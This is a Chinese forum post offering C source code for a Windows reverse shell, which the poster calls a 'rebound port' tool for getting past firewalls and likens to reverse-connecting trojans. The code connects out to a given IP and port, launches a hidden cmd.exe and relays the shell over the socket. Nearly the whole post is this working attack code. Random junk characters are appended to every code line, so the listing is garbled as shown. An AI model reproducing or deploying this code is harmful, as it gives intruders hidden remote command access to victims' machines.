社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4756阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 0":ib0=  
kv3E4,<9  
/* ============================== >CrA;\l  
Rebound port in Windows NT XR+Y=R  
By wind,2006/7 mX_a^_[G  
===============================*/ 2-7IJ\  
#include y603$Cv  
#include uZM{BgXXD  
~T9/#-e>BF  
#pragma comment(lib,"wsock32.lib") DAS/43\  
:QpuO1Gu  
void OutputShell(); hHN'w73z  
SOCKET sClient; 18~>ZR  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; j:5=s%S  
 9XP o3;  
void main(int argc,char **argv) Px$/ _`H  
{ Nd`%5%'::  
WSADATA stWsaData; 1xD=ffM>8N  
int nRet; 2HpHxVJ  
SOCKADDR_IN stSaiClient,stSaiServer; FB  _pw!z  
iJ~Zkd  
if(argc != 3) >*]Hq.&8  
{ 4xk|F'6K  
printf("Useage:\n\rRebound DestIP DestPort\n"); q;QbUO  
return; !u_Y7i3^  
} #N#'5w-G  
PUF/#ck  
WSAStartup(MAKEWORD(2,2),&stWsaData); fF?z|  
B-.gI4xa  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2Or'c`|  
Y<mej][  
stSaiClient.sin_family = AF_INET; MNC*Glj=  
stSaiClient.sin_port = htons(0); T.@aep\"  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); p;._HJ(  
>_o}  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) N F2/B#q  
{ dls ss\c^M  
printf("Bind Socket Failed!\n"); Qj,]N@7  
return; "$N#p5  
} 'qjeXqGH$  
I|>^1kr8w  
stSaiServer.sin_family = AF_INET; WKT4D}{1  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); GqWB{$J;"  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); BnCbon)  
FO!]P   
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) KMU4n-s"o  
{ eln&]d;  
printf("Connect Error!"); dE:+k/  
return; q8^^H$<Db  
} V\u>"3BQw  
OutputShell(); _{r=.W+ w  
} nyBJb(5"B  
V>ieh2G(  
void OutputShell() /x5rf  
{ ,17hGKM  
char szBuff[1024]; MKy[hT:  
SECURITY_ATTRIBUTES stSecurityAttributes; Bm"KOr$}-  
OSVERSIONINFO stOsversionInfo; NXNY"r7~  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; > `n,S  
STARTUPINFO stStartupInfo; @r#v[I  
char *szShell; !|O~$2O@  
PROCESS_INFORMATION stProcessInformation; HvM)e.!  
unsigned long lBytesRead; Uc_'(IyO  
QS{1CC9$  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); q>mE< (-M  
*Txl+zTY  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Fb7#<h  
stSecurityAttributes.lpSecurityDescriptor = 0; ?RK]FP"A  
stSecurityAttributes.bInheritHandle = TRUE; HuwU0:*  
6 G3\=)  
m9"n4a|:  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); >p.O0G gg  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); J(c{y]`J  
1E73i_L  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !1q 9+e  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CAcS~ "  
stStartupInfo.wShowWindow = SW_HIDE; wvbPnf^y  
stStartupInfo.hStdInput = hReadPipe; AgFVv5  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; *M$0J'-BQ  
\>C YC|  
GetVersionEx(&stOsversionInfo); Xlb0/T<g!  
<^zHE=h"  
switch(stOsversionInfo.dwPlatformId) P?t" jKp'  
{ R}lsnX<  
case 1: _T2=J+"-Kp  
szShell = "command.com"; :,J}z~I,lB  
break; >y[oP!-|P  
default: 1RK=,Wx  
szShell = "cmd.exe"; \ gLHi~  
break; c zm& ~n6$  
} :{oZ~<  
S(uf(q|{  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); R,|d`)T  
|b-]n"}c>  
send(sClient,szMsg,77,0); 4dhvFGlW  
while(1) /\H>y  
{ ik!..9aB  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0);  w~ [b*$  
if(lBytesRead) =k/IaFg 6w  
{ ]R=,5kK3  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 1qf!DMcdZ  
send(sClient,szBuff,lBytesRead,0); %-<'QYYP  
} !OT-b>*w  
else (y M^  
{ /r-aPJX  
lBytesRead=recv(sClient,szBuff,1024,0); Pv<24:ao  
if(lBytesRead<=0) break; v@wb"jdFi$  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); e0J6Ae4V[  
} (ZY@$''  
} vq!_^F<  
Zc!@0  
return; m+#iR}*1L  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五